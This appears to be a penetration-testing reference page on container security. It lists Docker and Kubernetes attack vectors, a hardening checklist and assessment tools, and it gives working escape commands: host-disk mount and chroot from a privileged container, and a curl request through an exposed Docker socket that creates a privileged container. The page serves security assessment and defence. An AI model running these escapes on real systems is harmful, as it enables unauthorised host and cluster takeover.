Container Security

Container Security

Container security assessment and exploitation techniques including Docker escape, Kubernetes attacks, and container runtime vulnerabilities for red team operations and penetration testing.

Overview

Containers have revolutionized application deployment but introduced new attack surfaces that require specialized security knowledge. Container escapes represent a significant vulnerability class in modern infrastructure—a single misconfigured container can lead to complete host compromise and lateral movement across entire clusters.

Understanding container security is essential for penetration testers and red teamers operating in cloud-native environments, where containerized workloads often handle sensitive data and business-critical operations.

Container Security is Infrastructure Security

Container boundaries are not security boundaries by default. Many organizations deploy containers with dangerous misconfigurations—privileged mode, exposed Docker sockets, excessive capabilities—that provide direct paths to host compromise.

Container Escape Techniques

Docker Security

Primary Attack Vectors

VectorDescriptionImpact
Privileged ModeContainer runs with full host capabilitiesDirect root access to host
Docker SocketExposed /var/run/docker.sockCreate privileged containers
CapabilitiesExcessive Linux capabilities grantedCapability-dependent escalation
Volume MountsSensitive host paths mountedRead/write host filesystem
Kernel ExploitsShared kernel vulnerabilitiesEscape via kernel bugs

Misconfiguration Exploits

Privileged Containers

# Detect privileged mode from inside container
cat /proc/1/status | grep CapEff
# Full capabilities: 0000003fffffffff

# Mount host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host

Exposed Docker Socket

# Check for socket
ls -la /var/run/docker.sock

# Create privileged container from inside container
curl -s --unix-socket /var/run/docker.sock \
  -X POST "http://localhost/containers/create" \
  -H "Content-Type: application/json" \
  -d '{"Image":"ubuntu","Cmd":["/bin/bash"],"Privileged":true}'

Dangerous Capabilities

  • CAP_SYS_ADMIN - Mount filesystems, load kernel modules
  • CAP_SYS_PTRACE - Debug processes, read memory
  • CAP_NET_ADMIN - Network manipulation, packet capture
  • CAP_DAC_READ_SEARCH - Bypass file permission checks

Kubernetes Attack Paths

Pod Security Misconfigurations

  • hostPID: true - Access host process namespace
  • hostNetwork: true - Access host network stack
  • hostPath volumes - Mount host directories
  • Service account token abuse

Cluster Compromise

  1. Compromise vulnerable pod
  2. Access Kubernetes API via service account
  3. Enumerate secrets and configmaps
  4. Pivot to privileged workloads
  5. Escape to node, compromise cluster

Security Assessment Checklist

Container Configuration

  • Check for privileged mode (--privileged)
  • Review capabilities granted (--cap-add)
  • Analyze volume mounts for sensitive paths
  • Inspect network configuration (--net=host)
  • Check for exposed Docker socket
  • Review security context (seccomp, AppArmor)

Image Security

  • Scan for vulnerable packages
  • Check base image age and patches
  • Review Dockerfile for hardcoded secrets
  • Verify image provenance and signatures

Runtime Security

  • Check kernel version and patches
  • Verify seccomp/AppArmor profiles enabled
  • Review resource limits (prevent DoS)
  • Audit container runtime version

Kubernetes Security

  • Review Pod Security Standards
  • Check RBAC permissions
  • Audit service account tokens
  • Verify network policies

Essential Tools

ToolPurpose
deepceDocker enumeration and escape
CDKContainer penetration toolkit
PEIRATESKubernetes penetration testing
kube-hunterKubernetes security scanning
trivyContainer image vulnerability scanning

Last updated on